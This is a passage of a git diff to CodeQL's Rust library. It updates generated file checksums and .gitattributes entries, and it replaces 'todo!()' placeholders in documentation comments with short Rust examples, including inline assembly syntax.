+lib/codeql/rust/elements/internal/generated/WhileExpr.qll 0353aab87c49569e1fbf5828b8f44457230edfa6b408fb5ec70e3d9b70f2e277 e1ba7c9c41ff150b9aaa43642c0714def4407850f2149232260c1a2672dd574a lib/codeql/rust/elements/internal/generated/WildcardPat.qll d74b70b57a0a66bfae017a329352a5b27a6b9e73dd5521d627f680e810c6c59e 4b913b548ba27ff3c82fcd32cf996ff329cb57d176d3bebd0fcef394486ea499 lib/codeql/rust/elements/internal/generated/YeetExpr.qll cac328200872a35337b4bcb15c851afb4743f82c080f9738d295571eb01d7392 94af734eea08129b587fed849b643e7572800e8330c0b57d727d41abda47930b lib/codeql/rust/elements/internal/generated/YieldExpr.qll 37e5f0c1e373a22bbc53d8b7f2c0e1f476e5be5080b8437c5e964f4e83fad79a 4a9a68643401637bf48e5c2b2f74a6bf0ddcb4ff76f6bffb61d436b685621e85 @@ -671,21 +671,33 @@ test/extractor-tests/generated/ArrayRepeatExpr/ArrayRepeatExpr_getExpr.ql 6b0003 test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.ql cfb831ccbc04092250931e0bd38c7b965fe0fd868081cd5f49fb11cd0da9aa0d 51e05a537928d7fd0aedd800f4d99c1f52630d75efe78bf7b016f1ad2380583b test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.ql 38db5e08b7a78f52247b9894fe2f3dd80b89efd2a3ddce446b782f92f6e2efad 8a4d38deac59fff090617e928fb698fc3d57f3651f47b06d3f40dd4ba92b2c93 test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.ql f74222b11cc52d3ac79e16d2943c1281c574fee954298752a309abc683798dbb 9701ebe468d76f72b21a7772a9e9bb82d8fd0a4e317437341f31f8395780dc33 -test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql f98889c27e64d193c61c595f0efbb6bbdae7cb214a0ce1c11dbb102979ca9714 5367f35345e665563161060a38dacebc9cf7bd3b48b2f0fd01bc8ef85ffa642c +test/extractor-tests/generated/AsmConst/AsmConst.ql 07f4d623883ad4ff0701d7dd50306c78493407295ae4ccef8c61eba2c58deb30 a66e9cbfea3c212b34628f0189a93ed493fcfd8baaa85338d746e69fe290deb0 +test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql 2ece012be6a62ea66737b2db8693f0e41bb23355d59784572d9193e056def5e4 59a4730da584dcf16e8d9e9f7d4fcd417fcf329933552e783375ad9715e46f4e +test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql d66f9672522b71318764f9c2dbdbeeaf895d66320997c3ba6a68daa7ea7c5600 de7d4231db182f63ab3e65ea5f4b548b530a6af7a79d7663a2250501a22e9783 test/extractor-tests/generated/AsmExpr/AsmExpr.ql 81db9651d3e3cb2041316f95484bfe2a7d84a93d03a25bd6bcb3db813557a6e0 96c40bdbeadb1e52c6291a4da648304070db435e13f5881ab795f5874ef5885c test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.ql 334f92d8b5ab4326d844c0e515c7cda84ba92dc598d5787dc88fe05beb04a7dd 845d6a740f5b8593a42cb00ef0212e8eae063dcd4b4e60af57e37bdfb61e4c0d test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.ql 93e644147ddc4de00c882c32d17ff3c22822e116b67361d52217619153b7d4c4 4c0c3f72707f41e879426ff75c5631e9283dc0507316740bec22216c5feb04e9 test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.ql d2070ad3509e5f4cf77d1ebd7ed730368627abf9c99e34cbece822f921f0a2dc 602646dd1bfcb3f6e09c1c3aa7a9d0cde38c60a397443c26d464fda15b9d86f5 -test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/AsmLabel/AsmLabel.ql 5fa35306f29af248328e480445812d249428e1ca1ad8fd9bf6aaa92e864b14e4 93690a78ecb8bbb2fea9d56ce052bb12783596bde9664a6014b992c1ed9054a3 +test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql 2ca16a4c6cfa438393d7e805f7da3971929e18eb70014e7a9c715d043404d704 f9ea9dafa9b90cce5624e0f2f900eb2056a45a0dd4d53eb1f31267661f02d17a +test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql 660b7d5a466a7d426dd212ab7e4d7e990710aedcfd9e82d94757c9d3404f6040 a0afa9d7158f285e3fa306d3189bd0babe26d53cbf53a574de8239ff1046a7a6 +test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql 00c8ccb9d4694067810288022ee6d57007676f1b9d13071c2d3abc240421ed79 d0febfa9a18b9b34f747cdc23400ca6be63df187e2b37125a4da7460316ac0a9 +test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql 8a3890c5ae23ce0e20fb4ff1af574db1faffac3bdac75c1f13fb8bb3227d9335 f4ac325ffebfb1fc3cb68b4405b49a012a4cc1ad12c1f8dffb415232e2bb3ca2 +test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql ab7d567a6647f5cb03586b914131897d52d66909f1c8f0178ec07975560bdd42 ef4302d3dddd4bce1420e64b870da600c4368ab8cf888dc6e260d50d9e78dc2a +test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql 8836f5152483ef6897db1e6c761dfbf51df4addcd448b554ab9e397b72c8c10c 3751a2558255c721f959b9651040c0f6f7db77165492dab7555209eb36b97353 +test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql 8932726b3a76e3358a22499e4b5f6702c971d8ea6c0dad4d9edf7fd1a7e8e670 8aabd40dbdb0b46e48b875ad7fdf2dddc11d8520e94c2ef49c8fccf81f3936a1 +test/extractor-tests/generated/AsmOption/AsmOption.ql c3b734a8ed0c8cb7c2703243803244c70f6ab49cd5443808b51c69b542479cbb f33359108019bc7e489a3493a14cc8626393cf021b264e09c06f9997fb1f69ce +test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql b2be14f72b828d69058cdfe06f2e974e34ca4f864b6a792e18927ba6bad2bed8 44a766a4588b30e974e22e87c1620531b754d3d68fe30159f1cd75e556759b33 +test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql 1a775bb242deba03dcbc55469812a11e7bce4506c9258c6cb18696c4b26d7fe4 6c609d289c8bac2074513f52dd5ed5021224de212968db495f51709c9fb31dc8 +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql 809114ab618f85ba8c4b87c6602ec0641445bdd1cd679b2abc9e3b0c0c790aeb ea18549186133865bf9eb62021d16ef702365c0c919dd8a2d00ca4a337eeb65c +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql 3074826db602b4f716a7504b019d3834cd2ef1a3f411621780ef40b97603cfe1 2fa32c795d7024f6a7370edac9f9d762f685981cb5bf5886e930316a2830095a +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql 0fb1e458b477158439eaf222eeb7c16ccdb12584fd87941c0f8b058ee1e91946 6f3297fca9c90ca730e9e02eb83a54f4077e03d36f9c268515300482e5c82a0a +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql 138acb4234fd0607e1884304e712498f4d34cb0da52f55a3729b33ec69056b10 c4207e230d60405644bc6cc56d871901116900ccb6d33398fef7292229223969 +test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql c80510ab2e3975cdec4a98df8d0d0153bc46f64c677c89c208e9ced5c78f500c daf705c0e8cace232fc4609e70f7bc2f8565f47f18d0decf7da580405609b0fd +test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql 6c02b392b2e602c7257cd5591ded2674c37a54709a84250642f56671ac993f6c e9ec9a6202f8a6774ea46686f0a2b4c6a4511fec129ff95c61159e7102a50c7b +test/extractor-tests/generated/AsmSym/AsmSym.ql aa631efd6d31f9003e8b4deaf5fd918f0a3cfe4e319ccde918b47e4a23c43eda af41534bd153d88903217230fcea58b75227bb1ebff851e288f1353250d402f5 +test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql 84943b40c30a8f630e18b9807d600cad010d5b106c68efd2b8de24e72cc4a441 b186f89c722271d98cccbd7eaad8f2a49b46983ef5b6630ac9944d5025676da6 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql e0bfc812d6bc06fcd820d67044831fbc7c6917e11f75565128c5a927c5706aa3 e4b765d91f1205ed818dc1143316aa642d968e7bcd65ed055579ab941c401637 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getConstArg.ql c81e25fd7885f13c0500e8f9b84195876e70f2b25ad604046f497818226c8542 62ac0e7c82da169c248e4f9e0e8f866d2f4e599b03a287c2bd407b95a5d9efc8 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getGenericArgList.ql 4d20375752c000aab8d2e4988fff1a5c95689d114c8d63f37b389b95000ee873 957e360a4eeefa2536958770a7d150fda610d1d45c09900dbe66e470e361e294 @@ -994,7 +1006,8 @@ test/extractor-tests/generated/ParenPat/ParenPat.ql 565182ccd81a9b420911b488c083 test/extractor-tests/generated/ParenPat/ParenPat_getPat.ql 96f3db0ec4e71fd8706192a16729203448ccc7b0a12ba0abeb0c20757b64fba1 0c66ba801869dc6d48dc0b2bca146757b868e8a88ad9429ba340837750f3a902 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.ql a96bb8b51d8c0c466afc1c076834fa16edf7e67fffe2f641799850dee43099a2 0e6c375e621b7a7756d39e8edd78b671e53d1aac757ac54a26747fe5259c5394 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.ql 64fe4ea708bc489ba64ed845f63cfbcd57c1179c57d95be309db37eac2f5eb71 0f4cbbfdf39d89830b5249cabf26d834fc2310b8a9579c19383c90cb4333afb7 -test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql 6d3496449d40e7ea083530de4e407731641c6a1ba23346c6a11b8b844b067995 9d21019a49d856728c8c8b73bcf982076794d8c8c9e2f30e75a9aa31348f5c60 +test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql 256164a0909def95501022cfbb786026c08c9ef50ff8da9e851a7ca8b1aaeb1f 8bfac08d3261f2c4b84fa3da46722f9c7ca866a6b964b5f1b8f78b81c97ae3f7 test/extractor-tests/generated/Path/Path.ql 2b02325ab1739bf41bc5f50d56b1e9cc72fca4093b03f2bda193699121e64448 c4d44402696ce10175ad8286dbd78277fbb81e7e1b886c0c27d5b88a7509052e test/extractor-tests/generated/Path/PathExpr.ql 5039fe730998a561f51813a0716e18c7c1d36b6da89936e4cfbdb4ef0e895560 cd3ddf8ab93cd573381807f59cded7fb3206f1dbdff582490be6f23bed2d6f29 test/extractor-tests/generated/Path/PathExpr_getAttr.ql 2ccac48cd91d86670c1d2742de20344135d424e6f0e3dafcc059555046f92d92 9b7b5f5f9e3674fad9b3a5bcd3cabc0dff32a95640da0fce6f4d0eb931f1757d @@ -1207,7 +1220,8 @@ test/extractor-tests/generated/Use/Use_getCrateOrigin.ql 912ebc1089aa3390d4142a3 test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql ccfde95c861cf4199e688b6efeeee9dab58a27cfecd520e39cc20f89143c03c9 6ff93df4134667d7cb74ae7efe102fe2db3ad4c67b4b5a0f8955f21997806f16 test/extractor-tests/generated/Use/Use_getUseTree.ql 1dfe6bb40b29fbf823d67fecfc36ba928b43f17c38227b8eedf19fa252edf3af aacdcc4cf418ef1eec267287d2af905fe73f5bcfb080ef5373d08da31c608720 test/extractor-tests/generated/Use/Use_getVisibility.ql 587f80acdd780042c48aeb347004be5e9fd9df063d263e6e4f2b660c48c53a8f 0c2c04f95838bca93dfe93fa208e1df7677797efc62b4e8052a4f9c5d20831dd -test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql ed7f240c960c888127298fac6b595477bc1481bdd1ed9a79124c6e6d8badc059 f30f69400600d52f10b1c54af0d00c0e617f5348cb0f5e235c93ef8e45c723a4 +test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql 971d94960a8cfcadf209202bb8d95d32da9b048ad6df9c520af1bf8e23acd1dc f6d6836592652cc63292aeb75d2349f4bed640047b130b79470703b8d1cd563d test/extractor-tests/generated/UseTree/UseTree.ql e305edd22df9e018a58f932774447354b7fcf0ba871b52b35f0ee9cd4f6dacdf 766a84116aa8ff3d90343c6730bcb161ff1d447bdb049cd21d6b2bbf3cb9032c test/extractor-tests/generated/UseTree/UseTree_getPath.ql 80384a99674bdda85315a36681cb22ad2ad094005a5543b63d930fc7e030dd5b 2cd92b5de8b4214527f8a58d641430f6804d9bd40927e1da0c7efda2f86f6544 test/extractor-tests/generated/UseTree/UseTree_getRename.ql ec3917501f3c89ac4974fab3f812d00b159ae6f2402dd20e5b4b3f8e8426391d db9ed981ce5f822aee349e5841d3126af7878d90e64140756ab4519552defe72 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index e937789f9078..3326912c0ca8 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -673,21 +673,33 @@ /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.ql linguist-generated /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.ql linguist-generated /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.ql linguist-generated -/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql linguist-generated +/test/extractor-tests/generated/AsmConst/AsmConst.ql linguist-generated +/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql linguist-generated +/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.ql linguist-generated -/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/AsmLabel/AsmLabel.ql linguist-generated +/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql linguist-generated +/test/extractor-tests/generated/AsmOption/AsmOption.ql linguist-generated +/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql linguist-generated +/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql linguist-generated +/test/extractor-tests/generated/AsmSym/AsmSym.ql linguist-generated +/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getConstArg.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getGenericArgList.ql linguist-generated @@ -996,7 +1008,8 @@ /test/extractor-tests/generated/ParenPat/ParenPat_getPat.ql linguist-generated /test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.ql linguist-generated /test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.ql linguist-generated -/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql linguist-generated +/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql linguist-generated /test/extractor-tests/generated/Path/Path.ql linguist-generated /test/extractor-tests/generated/Path/PathExpr.ql linguist-generated /test/extractor-tests/generated/Path/PathExpr_getAttr.ql linguist-generated @@ -1209,7 +1222,8 @@ /test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Use/Use_getUseTree.ql linguist-generated /test/extractor-tests/generated/Use/Use_getVisibility.ql linguist-generated -/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql linguist-generated +/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree_getPath.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree_getRename.ql linguist-generated diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index 55004ddc8f7f..02cde40e1823 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -968,9 +968,13 @@ module MakeCfgNodes Input> { } /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ final class ForExprCfgNode extends CfgNodeFinal, LoopingExprCfgNode { @@ -1823,9 +1827,12 @@ module MakeCfgNodes Input> { } /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); + * //^^^^^^^ * ``` */ final class MacroCallCfgNode extends CfgNodeFinal { @@ -1891,9 +1898,11 @@ module MakeCfgNodes Input> { } /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ final class MacroExprCfgNode extends CfgNodeFinal, ExprCfgNode { @@ -1926,9 +1935,14 @@ module MakeCfgNodes Input> { } /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * match x { + * my_macro!() => "matched", + * _ => "not matched", + * } * ``` */ final class MacroPatCfgNode extends CfgNodeFinal, PatCfgNode { @@ -2082,9 +2096,12 @@ module MakeCfgNodes Input> { } /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ final class NameCfgNode extends CfgNodeFinal { @@ -2696,9 +2713,12 @@ module MakeCfgNodes Input> { } /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ final class RestPatCfgNode extends CfgNodeFinal, PatCfgNode { @@ -2961,9 +2981,12 @@ module MakeCfgNodes Input> { } /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ final class TryExprCfgNode extends CfgNodeFinal, ExprCfgNode { @@ -3186,9 +3209,13 @@ module MakeCfgNodes Input> { } /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ final class WhileExprCfgNode extends CfgNodeFinal, LoopingExprCfgNode { diff --git a/rust/ql/lib/codeql/rust/elements/Abi.qll b/rust/ql/lib/codeql/rust/elements/Abi.qll index f8c95ad23a4d..129eca161dff 100644 --- a/rust/ql/lib/codeql/rust/elements/Abi.qll +++ b/rust/ql/lib/codeql/rust/elements/Abi.qll @@ -7,9 +7,12 @@ private import internal.AbiImpl import codeql.rust.elements.AstNode /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ final class Abi = Impl::Abi; diff --git a/rust/ql/lib/codeql/rust/elements/ArgList.qll b/rust/ql/lib/codeql/rust/elements/ArgList.qll index 1f62274e1b0b..e2f7b1e0bfa2 100644 --- a/rust/ql/lib/codeql/rust/elements/ArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/ArgList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Expr /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ final class ArgList = Impl::ArgList; diff --git a/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll index f1d2b20a8e09..0b0e32f7add8 100644 --- a/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.ConstArg import codeql.rust.elements.TypeRepr /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ final class ArrayTypeRepr = Impl::ArrayTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll index 422d02d8ce0c..a8f37c922b9f 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll @@ -6,4 +6,13 @@ private import internal.AsmClobberAbiImpl import codeql.rust.elements.AsmPiece +/** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmClobberAbi = Impl::AsmClobberAbi; diff --git a/rust/ql/lib/codeql/rust/elements/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/AsmConst.qll index b02dc20b8654..fef34ac1c5b4 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmConst.qll @@ -7,4 +7,13 @@ private import internal.AsmConstImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.Expr +/** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` + */ final class AsmConst = Impl::AsmConst; diff --git a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll index 39af5ad9e075..775e7581f4f9 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll @@ -6,4 +6,13 @@ private import internal.AsmDirSpecImpl import codeql.rust.elements.AstNode +/** + * An inline assembly directive specification. + * + * For example: + * ```rust + * asm!("nop"); + * // ^^^^^ + * ``` + */ final class AsmDirSpec = Impl::AsmDirSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll index e54998042788..2fce4ca27c2c 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll @@ -7,4 +7,13 @@ private import internal.AsmLabelImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.BlockExpr +/** + * A label in an inline assembly block. + * + * For example: + * ```rust + * asm!("jmp {label}", label = sym my_label); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmLabel = Impl::AsmLabel; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll index cccc425d3fb6..a18b51590d42 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll @@ -7,4 +7,13 @@ private import internal.AsmOperandExprImpl import codeql.rust.elements.AstNode import codeql.rust.elements.Expr +/** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ final class AsmOperandExpr = Impl::AsmOperandExpr; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll index 6c759280912f..612b7139ceef 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll @@ -8,4 +8,13 @@ import codeql.rust.elements.AsmOperand import codeql.rust.elements.AsmPiece import codeql.rust.elements.Name +/** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + * // ^^^^^ ^^^^ + * ``` + */ final class AsmOperandNamed = Impl::AsmOperandNamed; diff --git 